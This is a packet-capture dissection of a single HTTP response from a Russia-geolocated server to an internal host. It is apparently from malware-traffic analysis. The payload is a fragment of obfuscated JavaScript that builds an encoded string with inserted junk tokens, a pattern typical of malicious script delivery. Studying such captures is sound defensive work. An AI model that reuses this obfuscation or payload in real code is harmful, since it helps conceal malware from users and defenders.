Frame 238: Packet, 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) Encapsulation type: Ethernet (1) Arrival Time: Nov 21, 2017 01:00:43.723351000 UTC UTC Arrival Time: Nov 21, 2017 01:00:43.723351000 UTC Epoch Arrival Time: 1511226043.723351000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 208.000 microseconds] [Time since reference or first frame: 37.857611000 seconds] Frame Number: 238 Frame Length: 1514 bytes (12112 bits) Capture Length: 1514 bytes (12112 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:http:data] Character encoding: ASCII (0) Ethernet II, Src: Netgear_8d:2e:93 (74:44:01:8d:2e:93), Dst: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) Destination: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Netgear_8d:2e:93 (74:44:01:8d:2e:93) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 109.120.150.110, Dst: 10.4.1.102 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 1500 Identification: 0xc9d7 (51671) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x5bf4 [validation disabled] [Header checksum status: Unverified] Source Address: 109.120.150.110 Destination Address: 10.4.1.102 [Source GeoIP: RU] [Source GeoIP Country: Russia] [Source or Destination GeoIP Country: Russia] [Source GeoIP ISO Two Letter Country Code: RU] [Source or Destination GeoIP ISO Two Letter Country Code: RU] [Source GeoIP Latitude: 55.7386] [Source or Destination GeoIP Latitude: 55.7386] [Source GeoIP Longitude: 37.6068] [Source or Destination GeoIP Longitude: 37.6068] [Stream index: 9] Transmission Control Protocol, Src Port: 80, Dst Port: 49161, Seq: 116419, Ack: 1678, Len: 1460 Source Port: 80 Destination Port: 49161 [Stream index: 4] [Stream Packet Number: 152] [Conversation completeness: Incomplete, DATA (15)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .1.. = ACK: Present .... ..1. = SYN-ACK: Present .... ...1 = SYN: Present [Completeness Flags: ··DASS] [TCP Segment Len: 1460] Sequence Number: 116419 (relative sequence number) Sequence Number (raw): 3620188834 [Next Sequence Number: 117879 (relative sequence number)] Acknowledgment Number: 1678 (relative ack number) Acknowledgment number (raw): 2557490690 0101 .... = Header Length: 20 bytes (5) Flags: 0x010 (ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 0... = Push: Not set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······A····] Window: 64240 [Calculated window size: 64240] [Window size scaling factor: -2 (no window scaling used)] Checksum: 0x8fe9 [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 1.504481000 seconds] [Time since previous frame in this TCP stream: 208.000 microseconds] [SEQ/ACK analysis] [iRTT: 184.943000 milliseconds] [Bytes in flight: 2734] [Bytes sent since last PSH flag: 1460] [Client Contiguous Streams: 1] [Server Contiguous Streams: 1] TCP payload (1460 bytes) Hypertext Transfer Protocol File Data: 1460 bytes Data (1460 bytes) 0000 3d 27 6c 68 59 5a 78 38 38 47 38 27 3b 67 6f 78 ='lhYZx88G8';gox 0010 65 2b 3d 27 2b 69 46 59 2f 27 3b 67 6f 78 65 2b e+='+iFY/';goxe+ 0020 3d 27 4c 33 6c 36 73 5a 72 27 3b 67 6f 78 65 2b ='L3l6sZr';goxe+ 0030 3d 27 77 34 6f 56 6a 27 3b 67 6f 78 65 2b 3d 27 ='w4oVj';goxe+=' 0040 41 65 45 47 35 27 3b 67 6f 78 65 2b 3d 27 59 41 AeEG5';goxe+='YA 0050 34 54 31 7a 41 34 50 27 3b 67 6f 78 65 2b 3d 27 4T1zA4P';goxe+=' 0060 5a 2b 64 79 43 4f 4d 27 3b 67 6f 78 65 2b 3d 27 Z+dyCOM';goxe+=' 0070 50 41 54 5f 4d 4f 27 3b 67 6f 78 65 2b 3d 27 44 PAT_MO';goxe+='D 0080 45 75 6e 75 51 54 64 50 43 27 3b 67 6f 78 65 2b EunuQTdPC';goxe+ 0090 3d 27 4f 4d 50 41 54 5f 4d 4f 44 27 3b 67 6f 78 ='OMPAT_MOD';gox 00a0 65 2b 3d 27 45 32 44 56 5a 27 3b 67 6f 78 65 2b e+='E2DVZ';goxe+ 00b0 3d 27 73 6f 6c 54 43 4f 27 3b 67 6f 78 65 2b 3d ='solTCO';goxe+= 00c0 27 4d 50 41 54 5f 4d 4f 27 3b 67 6f 78 65 2b 3d 'MPAT_MO';goxe+= 00d0 27 44 45 33 31 48 44 27 3b 67 6f 78 65 2b 3d 27 'DE31HD';goxe+=' 00e0 46 33 79 52 4c 73 67 27 3b 67 6f 78 65 2b 3d 27 F3yRLsg';goxe+=' 00f0 41 7a 43 74 41 44 46 31 77 51 27 3b 67 6f 78 65 AzCtADF1wQ';goxe 0100 2b 3d 27 68 77 73 53 63 4c 43 27 3b 67 6f 78 65 +='hwsScLC';goxe 0110 2b 3d 27 4f 4d 50 41 54 5f 4d 4f 44 45 27 3b 67 +='OMPAT_MODE';g 0120 6f 78 65 2b 3d 27 63 6b 4d 44 57 55 33 6c 27 3b oxe+='ckMDWU3l'; 0130 67 6f 78 65 2b 3d 27 70 52 38 72 38 2b 65 49 4c goxe+='pR8r8+eIL 0140 27 3b 67 6f 78 65 2b 3d 27 58 41 68 4a 6e 30 27 ';goxe+='XAhJn0' 0150 3b 67 6f 78 65 2b 3d 27 44 2f 6b 55 78 30 4b 27 ;goxe+='D/kUx0K' 0160 3b 67 6f 78 65 2b 3d 27 43 2b 77 74 67 6b 27 3b ;goxe+='C+wtgk'; 0170 67 6f 78 65 2b 3d 27 69 65 6c 7a 51 6f 55 55 27 goxe+='ielzQoUU' 0180 3b 67 6f 78 65 2b 3d 27 6b 4a 30 62 44 27 3b 67 ;goxe+='kJ0bD';g 0190 6f 78 65 2b 3d 27 68 5a 2b 7a 4f 46 2b 76 27 3b oxe+='hZ+zOF+v'; 01a0 67 6f 78 65 2b 3d 27 72 77 37 45 4f 31 79 5a 50 goxe+='rw7EO1yZP 01b0 27 3b 67 6f 78 65 2b 3d 27 63 42 56 75 6f 4e 70 ';goxe+='cBVuoNp 01c0 62 79 43 27 3b 67 6f 78 65 2b 3d 27 57 43 4f 4d byC';goxe+='WCOM 01d0 50 41 54 27 3b 67 6f 78 65 2b 3d 27 5f 4d 4f 44 PAT';goxe+='_MOD 01e0 45 53 32 33 44 49 27 3b 67 6f 78 65 2b 3d 27 46 ES23DI';goxe+='F 01f0 77 70 4a 4b 62 68 27 3b 67 6f 78 65 2b 3d 27 76 wpJKbh';goxe+='v 0200 62 38 4d 6a 6a 66 65 27 3b 67 6f 78 65 2b 3d 27 b8Mjjfe';goxe+=' 0210 2f 46 32 63 31 2f 27 3b 67 6f 78 65 2b 3d 27 6b /F2c1/';goxe+='k 0220 2f 46 4a 42 38 2f 70 4e 30 27 3b 67 6f 78 65 2b /FJB8/pN0';goxe+ 0230 3d 27 45 7a 64 5a 49 51 37 31 27 3b 67 6f 78 65 ='EzdZIQ71';goxe 0240 2b 3d 27 52 77 72 77 50 54 79 4b 33 27 3b 67 6f +='RwrwPTyK3';go 0250 78 65 2b 3d 27 69 70 31 33 35 58 59 44 27 3b 67 xe+='ip135XYD';g 0260 6f 78 65 2b 3d 27 64 48 4d 35 70 69 27 3b 67 6f oxe+='dHM5pi';go 0270 78 65 2b 3d 27 47 47 4e 59 58 55 32 31 65 27 3b xe+='GGNYXU21e'; 0280 67 6f 78 65 2b 3d 27 79 63 4d 62 49 6b 43 76 27 goxe+='ycMbIkCv' 0290 3b 67 6f 78 65 2b 3d 27 38 4e 44 57 38 58 41 76 ;goxe+='8NDW8XAv 02a0 4e 62 27 3b 67 6f 78 65 2b 3d 27 42 52 46 66 56 Nb';goxe+='BRFfV 02b0 52 78 63 6b 78 27 3b 67 6f 78 65 2b 3d 27 41 5a Rxckx';goxe+='AZ 02c0 44 31 58 2f 6f 27 3b 67 6f 78 65 2b 3d 27 75 45 D1X/o';goxe+='uE 02d0 74 63 52 6f 55 2b 47 27 3b 67 6f 78 65 2b 3d 27 tcRoU+G';goxe+=' 02e0 6b 6a 49 43 38 27 3b 67 6f 78 65 2b 3d 27 6e 35 kjIC8';goxe+='n5 02f0 77 54 36 65 58 27 3b 67 6f 78 65 2b 3d 27 53 6f wT6eX';goxe+='So 0300 47 5a 4c 70 27 3b 67 6f 78 65 2b 3d 27 6a 52 2b GZLp';goxe+='jR+ 0310 51 79 69 75 72 79 6e 27 3b 67 6f 78 65 2b 3d 27 Qyiuryn';goxe+=' 0320 6e 34 46 37 70 4c 27 3b 67 6f 78 65 2b 3d 27 59 n4F7pL';goxe+='Y 0330 79 53 43 4f 4d 50 41 54 27 3b 67 6f 78 65 2b 3d ySCOMPAT';goxe+= 0340 27 5f 4d 4f 44 45 77 4e 27 3b 67 6f 78 65 2b 3d '_MODEwN';goxe+= 0350 27 74 34 4d 78 79 76 63 27 3b 67 6f 78 65 2b 3d 't4Mxyvc';goxe+= 0360 27 66 50 34 4b 66 48 53 4b 55 6c 27 3b 67 6f 78 'fP4KfHSKUl';gox 0370 65 2b 3d 27 71 7a 52 30 45 4a 4d 62 46 33 27 3b e+='qzR0EJMbF3'; 0380 67 6f 78 65 2b 3d 27 4f 36 37 51 4d 6c 66 32 58 goxe+='O67QMlf2X 0390 6f 27 3b 67 6f 78 65 2b 3d 27 59 41 52 44 74 78 o';goxe+='YARDtx 03a0 27 3b 67 6f 78 65 2b 3d 27 57 43 4f 4d 50 41 54 ';goxe+='WCOMPAT 03b0 27 3b 67 6f 78 65 2b 3d 27 5f 4d 4f 44 45 45 27 ';goxe+='_MODEE' 03c0 3b 67 6f 78 65 2b 3d 27 62 59 66 72 6b 68 59 55 ;goxe+='bYfrkhYU 03d0 75 70 27 3b 67 6f 78 65 2b 3d 27 55 58 65 6c 68 up';goxe+='UXelh 03e0 43 27 3b 67 6f 78 65 2b 3d 27 4f 4d 50 41 54 5f C';goxe+='OMPAT_ 03f0 4d 4f 27 3b 67 6f 78 65 2b 3d 27 44 45 53 65 57 MO';goxe+='DESeW 0400 34 67 4c 72 27 3b 67 6f 78 65 2b 3d 27 69 49 6b 4gLr';goxe+='iIk 0410 42 63 33 33 70 27 3b 67 6f 78 65 2b 3d 27 37 47 Bc33p';goxe+='7G 0420 72 47 4e 74 55 74 27 3b 67 6f 78 65 2b 3d 27 76 rGNtUt';goxe+='v 0430 64 74 41 44 46 69 30 27 3b 67 6f 78 65 2b 3d 27 dtADFi0';goxe+=' 0440 31 69 49 4a 77 27 3b 67 6f 78 65 2b 3d 27 33 76 1iIJw';goxe+='3v 0450 39 4e 39 4b 6f 35 4f 50 27 3b 67 6f 78 65 2b 3d 9N9Ko5OP';goxe+= 0460 27 36 38 33 75 63 27 3b 67 6f 78 65 2b 3d 27 76 '683uc';goxe+='v 0470 39 38 53 77 34 6a 53 27 3b 67 6f 78 65 2b 3d 27 98Sw4jS';goxe+=' 0480 37 33 52 46 33 34 65 30 39 4d 27 3b 67 6f 78 65 73RF34e09M';goxe 0490 2b 3d 27 6c 49 4c 5a 59 33 6e 27 3b 67 6f 78 65 +='lILZY3n';goxe 04a0 2b 3d 27 51 45 65 6f 78 27 3b 67 6f 78 65 2b 3d +='QEeox';goxe+= 04b0 27 64 77 47 36 4e 32 6a 6f 78 41 27 3b 67 6f 78 'dwG6N2joxA';gox 04c0 65 2b 3d 27 48 6f 5a 32 44 69 67 27 3b 67 6f 78 e+='HoZ2Dig';gox 04d0 65 2b 3d 27 42 6b 74 66 49 48 78 27 3b 67 6f 78 e+='BktfIHx';gox 04e0 65 2b 3d 27 53 30 46 78 34 27 3b 67 6f 78 65 2b e+='S0Fx4';goxe+ 04f0 3d 27 64 56 50 6c 58 4f 4c 72 27 3b 67 6f 78 65 ='dVPlXOLr';goxe 0500 2b 3d 27 39 38 70 54 6d 27 3b 67 6f 78 65 2b 3d +='98pTm';goxe+= 0510 27 2f 32 76 69 52 27 3b 67 6f 78 65 2b 3d 27 65 '/2viR';goxe+='e 0520 64 2b 39 71 55 32 27 3b 67 6f 78 65 2b 3d 27 77 d+9qU2';goxe+='w 0530 76 78 6c 43 4f 4d 50 41 27 3b 67 6f 78 65 2b 3d vxlCOMPA';goxe+= 0540 27 54 5f 4d 4f 44 45 73 65 38 6d 27 3b 67 6f 78 'T_MODEse8m';gox 0550 65 2b 3d 27 52 34 77 5a 77 27 3b 67 6f 78 65 2b e+='R4wZw';goxe+ 0560 3d 27 47 76 4d 6e 49 27 3b 67 6f 78 65 2b 3d 27 ='GvMnI';goxe+=' 0570 69 54 55 6f 52 30 79 43 4f 4d 27 3b 67 6f 78 65 iTUoR0yCOM';goxe 0580 2b 3d 27 50 41 54 5f 4d 4f 44 45 47 27 3b 67 6f +='PAT_MODEG';go 0590 78 65 2b 3d 27 63 38 58 55 79 51 4c 66 4b 38 27 xe+='c8XUyQLfK8' 05a0 3b 67 6f 78 65 2b 3d 27 34 69 34 52 6b 53 45 36 ;goxe+='4i4RkSE6 05b0 27 3b 67 6f ';go Data […]: 3d276c68595a7838384738273b676f78652b3d272b6946592f273b676f78652b3d274c336c36735a72273b676f78652b3d2777346f566a273b676f78652b3d274165454735273b676f78652b3d2759413454317a413450273b676f78652b3d275a2b6479434f4d273b676f78652b3d27504 [Length: 1460]